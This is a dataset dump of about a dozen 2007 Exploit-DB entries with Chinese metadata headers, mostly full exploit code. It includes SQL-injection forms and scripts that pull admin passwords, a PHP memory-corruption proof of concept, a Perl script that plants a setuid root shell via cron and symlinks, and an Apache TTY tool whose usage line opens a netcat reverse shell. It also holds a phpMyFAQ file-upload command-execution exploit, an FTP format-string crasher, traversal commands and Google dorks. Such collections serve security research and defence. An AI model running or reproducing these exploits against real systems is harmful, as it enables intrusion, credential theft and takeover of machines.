QLWD/code_shield huggingface dataset:
标题: Netrek 2.12.0 - 'pmessage2()' Remote Limited Format String EDB-ID: 3399 CVE: 2007-1251 类型: DOS 平台: WINDOWS 发布日期: 2007-03-02 漏洞利用脚本: #######################################################################

                            Luigi Auriemma
Application:  Netrek
              http://www.netrek.org
Versions:     <= 2.12.0 (Vanilla server)
Platforms:    *nix and Windows
Bug:          format string
Exploitation: remote (in-game)
Date:         02 Mar 2007
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

Netrek is a well known real-time strategy game inspired to Star Trek.

#######################################################################

======
2) Bug
======

The Vanilla server is affected by a format string vulnerability caused
by the calling of the pmessage2() function without the needed format
argument.

The bug is located in new_warning() and can be exploitated through the
locking of a player (the same attacker too) who is using a malformed
nickname.

Note that the EVENTLOG switch must be enabled for exploiting this
vulnerability (default is disabled).

from ntserv/warning.c:

void new_warning(int index, const char *fmt, ...) {

 char temp[150];

 va_list args;
 va_start(args, fmt);

 vsprintf(temp, fmt, args);

 ...

 if (eventlog) {

   char from_str[9]="WRN->\0\0\0";

   strcat(from_str, me->p_mapchars);
   pmessage2(0, 0, from_str, me->p_no, temp);
 }


#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/netrekfs.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3399.zip (03022007-netrekfs.zip)

#######################################################################

======
4) Fix
======

Version 2.12.1

#######################################################################


# milw0rm.com [2007-03-02] URL: https://www.exploit-db.com/exploits/3399
标题: Mani Stats Reader 1.2 - 'ipath' Remote File Inclusion EDB-ID: 3398 CVE: 2007-1299 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-02 漏洞利用脚本: Mani Admin Plugin Stats Reader V1.2 rfi :) 

dork:"2006 by www.mani-stats-reader.de.vu"
     "allinurl:.php?ipath=  inurl:"css""

vuln:index.php?ipath=evilshit

greetz:RST, LinuxPakistan phpfreaks 
mozi2weed@yahoo.com 

# milw0rm.com [2007-03-02] URL: https://www.exploit-db.com/exploits/3398
标题: AJ Classifieds 1.0 - 'postingdetails.php' SQL Injection EDB-ID: 3410 CVE: 2007-1296 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-04 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.ajsquare.com
//'[$$         : 250 USD - 1000 USD
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/postingdetails.php" //File name
   var acik ="?cathead=community&postingid=" // Line x
   var sql="-1%20union%20select%200,0,0,0,1,2,password,4,0,0,0,0,6,5,4,3,2,1%20from%20mysql.user/*" // Mysql Get Password
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">AJ Classifieds 1.0 (postingdetails.php) Remote BLIND SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3410
标题: AJ Dating 1.0 - 'view_profile.php' SQL Injection EDB-ID: 3409 CVE: 2007-1297 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-04 漏洞利用脚本: <html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AJDating 1.0 (view_profile.php) Remote BLIND SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AJDating 1.0 (view_profile.php) Remote BLIND SQL Injection Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://www.ajsquare.com
//'[$$         : 250 USD - 1000 USD
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/"
   var adres="/view_profile.php" //File name
   var acik ="?user_id=" // Line x
   var sql="-1%20union%20select%201,2,3,4,5,6,0,0,0,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0,0,0,7,7,5,4,7,7,8,0,0,1,0,0,2,3,4,0,0,0,0,4,4,4,4,4,3,2,1%20from%20admin/*" // 
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+sql; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">AJDating 1.0 (view_profile.php) Remote BLIND SQL Injection Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3409
标题: Rigter Portal System (RPS) 6.2 - Blind SQL Injection EDB-ID: 3403 CVE: 2007-1293 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-04 漏洞利用脚本: <?
//RPS 6.2 SQL Injection Exploit
//http://www.rps-project.com/

//Need magic_quotes_gpc = Off;
//by s0cratex
//Contact: s0cratex[at]hotmail[dot]com

//Salu2: rgod, 0pt1x 'n mechas.

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$host = "localhost"; $path="/rps"; $id=1;

echo "RPS 6.2 SQL Injection exploit\n-----------------------------\n\n";
echo "Username: ";
$j=1;$result="";
while(!strstr($result,chr(0))){
for($x=0;$x<255;$x++){
$cnx = fsockopen($host,80);
fwrite($cnx, "GET ".$path."/?x=ver_descarga&e=mostrar&categoria=-1'/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$x."),1,0))FROM/**/rps_admin/**/WHERE/**/id=".$id.")/* HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while(!feof($cnx)){ if(ereg("Descargar", fgets($cnx))){ $result .= chr($x);
echo chr($x); break; } }
fclose($cnx);
if ($x==255) {
die("\n Try again...");
}
}
$j++;
}
echo "\n";
echo "Password: ";
$a=1;$result2="";
while(!strstr($result2,chr(0))){
for($i=0;$i<255;$i++){
$cnx2 = fsockopen($host,80);
fwrite($cnx2, "GET ".$path."/?x=ver_descarga&e=mostrar&categoria=-1'/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(password,".$a.",1))=".$i."),1,0))FROM/**/rps_admin/**/WHERE/**/id=".$id.")/* HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while(!feof($cnx2)){ if(ereg("Descargar", fgets($cnx2))){ $result2 .=
chr($i); echo chr($i); break; } }
fclose($cnx2);
if ($i==255) {
die("\n Try again...");
}
}
$a++;
}
echo "\nThe password has been encrypted with crypt() function...\n-----------------------------\n  by s0cratex";
?>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3403
标题: PHP 4.4.4 - 'Unserialize()' ZVAL Reference Counter Overflow (PoC) EDB-ID: 3396 CVE: 2007-1286 类型: DOS 平台: LINUX 发布日期: 2007-03-02 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //           PHP 4 - unserialize() Reference Counter Overflow         //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");
  
  // This exploit is only designed for linux x86 systems
  // where 0x08064058 is a readable address in the PHP process 
  // (should be unless binary images are relocated default systems)
  // 
  // The exploit does nothing useful. It just proves that the CPU
  // will try to execute the instruction at 0x99887766 which results
  // in a crash. Just replace it with a pointer to your shellcode and
  // it will work.
  //
  // To exploit phpBB2 with this you need to put a similar string
  // into the cookie. You must work around the size limit of HTTP
  // headers by using MANY Cookie: headers (not folded lines, real
  // headers). Additionally you must put at the end of ever line
  // a line terminator s:2:" and start every following line with
  // ";N; of course with URL encoded ';'

  $hashtable = str_repeat("A", 39);
  
  $hashtable[5*4+0]=chr(0x58);
  $hashtable[5*4+1]=chr(0x40);
  $hashtable[5*4+2]=chr(0x06);
  $hashtable[5*4+3]=chr(0x08);
  
  $hashtable[8*4+0]=chr(0x66);
  $hashtable[8*4+1]=chr(0x77);
  $hashtable[8*4+2]=chr(0x88);
  $hashtable[8*4+3]=chr(0x99);

  $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
  for ($i=0; $i<65535; $i++) {
    $str .= 'i:0;R:2;';
  }
  $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

  unserialize($str);

?>

# milw0rm.com [2007-03-02] URL: https://www.exploit-db.com/exploits/3396
标题: McAfee VirusScan for Mac (Virex) 7.7 - Local Privilege Escalation EDB-ID: 3386 CVE: 2007-1227 类型: LOCAL 平台: OSX 发布日期: 2007-02-28 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Following symlinks is bad mmmmmmmmmmkay!
#

$dest = "/var/cron/tabs/root";

$tgts{"0"} = "Virex 7.7.dmg:\"/Library/Application
Support/Virex/VShieldExclude.txt\"  ";

unless (($target) = @ARGV) {
       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

# Set aside a backdoor that we will chmod and chown later
open(BD,">/tmp/pwnrex.c");
printf BD "main()\n";
printf BD "{ seteuid(0); setegid(0); setuid(0); setgid(0);
system(\"/bin/sh -i\"); }\n";
#system("gcc -o /Users/Shared/shX /tmp/pwnrex.c");
system("cp /usr/bin/id  /Users/Shared/shX");  # this is for those without gcc.

# set aside root crontab dropper
open(PH,">/Users/Shared/droptab.pl");
print PH "system\(\"echo \'* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX\' > /var/cron/tabs/root\"\)\;\n";

# rm the existing log file and symlink it to the root crontab file. A
reboot will be required to exploit this.
system("rm -rf $b; ln -s $dest $b");

# start up a crontab request that will be *VERY* useful after the machine has rebooted.
system("echo '* * * * * /usr/bin/perl /Users/Shared/droptab.pl; sleep 90; crontab /Users/Shared/xxx' > /tmp/user_cron");
system("echo '* * * * * /usr/bin/id' >  /Users/Shared/xxx");
system("crontab /tmp/user_cron");

print "wait for a reboot and a cron run...\n"

# milw0rm.com [2007-02-28] URL: https://www.exploit-db.com/exploits/3386
标题: Angel Lms 7.1 - 'default.asp?id' SQL Injection EDB-ID: 3390 CVE: 2007-1250 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-01 漏洞利用脚本: #########################################################################
#
# Application:
#
#  Angel Learning Management Suite 7.1
#  http://www.angellearning.com
#
#########################################################################
#
# Description:
#
#  "ANGEL LMS is an inclusive suite of enterprise 
#  learning management tools that balances ease of 
#  use with powerful capabilities to deliver leading 
#  edge teaching and learning, impact learner success 
#  and measure effectiveness."
#
#  Basically, Angel is a CMS for education, providing
#  online forums, grading, email, chat, etc to faculty
#  and students. It is used as the primary Web interface
#  for several online schools and courses.
#
#########################################################################
#
# Vulnerability:
#
#  Angel 7.1 contains an SQL injection vulnerability in 
#  section/default.asp that grants an un-authenticated user 
#  access to all database tables and data. Examples include 
#  enumeration of tables, columns, user names, passwords, 
#  grades, and test questions/answers (you basically have 
#  access to everything).
# 
#########################################################################
# 
# Exploit Examples:
#
# #Enumerate Faculty User Accounts#
#  http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20username%20from%20faculty_accounts--"
#  
# #Enumerate All User Accounts#
#  http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20username%20from%20accounts--"
#
# #Enumerate Account Passwords#
#  http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20password%20from%20accounts--"
#
#########################################################################
#
# Google Dork:
#  intext:"2006 angel learning, inc" -pdf
#
#########################################################################
#
# Credit:
# Exploit discovered and coded by Craig Heffner
# heffnercj [at] gmail.com
# http://www.craigheffner.com
#
#########################################################################

# milw0rm.com [2007-03-01] URL: https://www.exploit-db.com/exploits/3390
标题: Apache 1.3.34/1.3.33 (Ubuntu / Debian) - CGI TTY Privilege Escalation EDB-ID: 3384 CVE: 2006-7098 类型: LOCAL 平台: LINUX 发布日期: 2007-02-28 漏洞利用脚本: /*
  :: Kristian Hermansen ::
  Date: 20070229
  Description: Local attacker can influence Apache to direct commands
    into an open tty owned by user who started apache process, usually root.
    This results in arbitrary command execution.
  Affects: Apache 1.3.33/1.3.34 on Debian Stable/Testing/Unstable/Experimental     and Ubuntu Warty (4.10)/Hoary (5.04)/Breezy (5.10)/Dapper (6.06)
    Edgy (6.10), Feisty (7.04).
  Notes: Must have CGI execution privileges and
    service started manually by root via shell.
    Also try adding "Options +ExecCGI" to your .htaccess file.
  Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
  Usage: nc -vvv -l -p 31337
    http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
  u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
    benkurtz, ... and who could forget ... setient (the gremlin)!!
*/

#include <fcntl.h>
#include <sys/ioctl.h>

int main(int argc, char *argv[]) {
  int pts = open("/dev/tty",O_RDONLY);
  while(*argv[1] != '\0') {
    ioctl(pts,TIOCSTI,argv[1]);
    argv[1]++;
  }
  return 0;
}

// milw0rm.com [2007-02-28] URL: https://www.exploit-db.com/exploits/3384
标题: XM Easy Personal FTP Server 5.30 - 'ABOR' Format String Denial of Service EDB-ID: 3385 CVE: 2007-1195 类型: DOS 平台: WINDOWS 发布日期: 2007-02-28 漏洞利用脚本: #!/usr/bin/perl -w
#=========================================================================================================
#                XM Easy Personal FTP Server 5.3.0 Multiple vulnerabilities
#                                   By Umesh Wanve 
#=========================================================================================================
#
# Vendor: http://www.dxm2008.com/
#
#  Date: 28-02-2007
#
#
# 1) Multiple format string attacks. Every command is vulnerable.
#    With only single % also the server crashes.
# 
# 2) Multiple buffer overflow occurs in commands if we fuzz the server( Better way use ur own fuzzer)
#   
# 
#    Code execution is possbile. 
#    This is latest version of FTP server. 
#
# ###########################################################################################

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "test";
my $pass = "test";


$exploit_string = "%n" x 10;


print ":: Trying to connect to target system at: $target...\n"; 

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect: $!";

print "Connected!\n";

$ftp->login($user, $pass) || die "could not login: $!"; 
print "Logged in!\n";

$ftp->command("ABOR ",$exploit_string);                   # Every command is vulnerable. Use it what u like :)
print "Done!\n";

$ftp->quit; 

# milw0rm.com [2007-02-28] URL: https://www.exploit-db.com/exploits/3385
标题: phpMyFAQ 1.6.7 - SQL Injection / Command Execution EDB-ID: 3393 CVE: 2006-6912 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-01 漏洞利用脚本: #!/usr/bin/php5-cgi -q
<?

/*
Sql injection / remote command execution exploit for phpmyfaq < 1.6.8

Bugtraq:
https://www.securityfocus.com/bid/21944

CVS:
http://thinkforge.org/plugins/scmcvs/cvsweb.php/phpmyfaq/admin/attachment.php.diff?r1=1.7.2.11.2.5;r2=1.7.2.11.2.6;cvsroot=phpmyfaq;f=h

./pmf.php http://xxxx.xxxx.edu/faq/ "<? system('id'); ?>" localhost:4001

elgCrew@safe-mail.net
*/

function do_upload($baseurl, $proxy, $cmd)
{

 $fp = fopen("kebab.php", "w");
 if(!$fp)
  die("Cannot open file for writing");

 $code = "Un1q" . $cmd . "<? system(\"rm -rf ../1337/\"); ?>";
 fwrite($fp, $code);
 fclose($fp);
 
 $sendvars["aktion"] = "save";
        $sendvars["uin"] = "-1' UNION SELECT char(0x61,0x64,0x6d,0x69,0x6e),char(0x61,0x61,0x27,0x20,0x4f,0x52,0x20,0x31,0x3d,0x31,0x20,0x2f,0x2a) /*";
        $sendvars["save"] = "TRUE";
        $sendvars["MAX_FILE_SIZE"] = "100000";
        $sendvars["id"] = "1337";
        $sendvars["userfile"] = '@kebab.php';
        $sendvars["filename"] = "kebab.php";

        $posturl = $baseurl . "/admin/attachment.php";
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $posturl);

        curl_setopt($ch, CURLOPT_PROXY, $proxy);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_POST, 1);

        curl_setopt($ch, CURLOPT_POSTFIELDS, $sendvars);
        echo "=> Uploading file.\n";
        $result = curl_exec($ch);
 curl_close($ch);
 @unlink("kebab.php");
 $get =  $baseurl . "/attachments/1337/kebab.php\n";

 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $get);
 curl_setopt($ch, CURLOPT_PROXY, $proxy);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $result = curl_exec($ch);
 if(strstr($result, "Un1q"))
  echo substr($result, 4);
 else
  echo "Not vulnerable / error ?\n";
 curl_close($ch);


}

if($argc < 3)
{
 printf("Usage: %s http://test.com/phpmyfaq/ \"<? system('uname -a'); ?> \" [proxy]\n", $argv[0]);
 exit(0);
}
if($argc == 4)
 $proxy = $argv[3];
else
 $proxy = "";

do_upload($argv[1], $proxy, $argv[2]);

?>

# milw0rm.com [2007-03-01] URL: https://www.exploit-db.com/exploits/3393
标题: Kiwi CatTools TFTP 3.2.8 - Directory Traversal EDB-ID: 3380 CVE: 2007-0888 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-27 漏洞利用脚本: Path traversal security vulnerability in Kiwi CatTools TFTP up to 3.2.8 
server can lead to information disclosure and remote code execution 

Risk: High 

DISCUSSION 

Kiwi CatTools TFTP server doesn.t properly verify filename in PUT and 
GET request which can be used to download/upload any file from/to 
server. Default setting allows replacing of existing files. Such 
settings lead to probability to replace an executable files and run code 
on attacker choice. 

EXAMPLES 

C:\>tftp -i 10.1.1.2 GET /x/../../../../../boot.ini boot.txt 

Transfer successful: 212 bytes in 1 second, 212 bytes/s 

C:\>type boot.txt 

[boot loader] timeout=30 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS 

C:\>tftp -i 10.1.1.2 PUT boot.txt /x/../../../../../pttest.txt 

Transfer successful: 212 bytes in 1 second, 212 bytes/s 

C:\>type pttest.txt 

[boot loader] timeout=30 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS 

C:\> 

SOLUTION 

Upgrade to CatTools 3.2.9 which is available for download at 
http://www.kiwisyslog.com/downloads.php 

CREDITS 

Sergey Gordeychik of Positive Technologies (www.ptsecurity.com) 

DISCLOSURE TIMELINE 

Vulnerability discovered: 11/20/2006 

Initial vendor contact: 12/08/2006 

Patch released: 02/13/2007 

Public disclosure: 02/27/2007 

# milw0rm.com [2007-02-27] URL: https://www.exploit-db.com/exploits/3380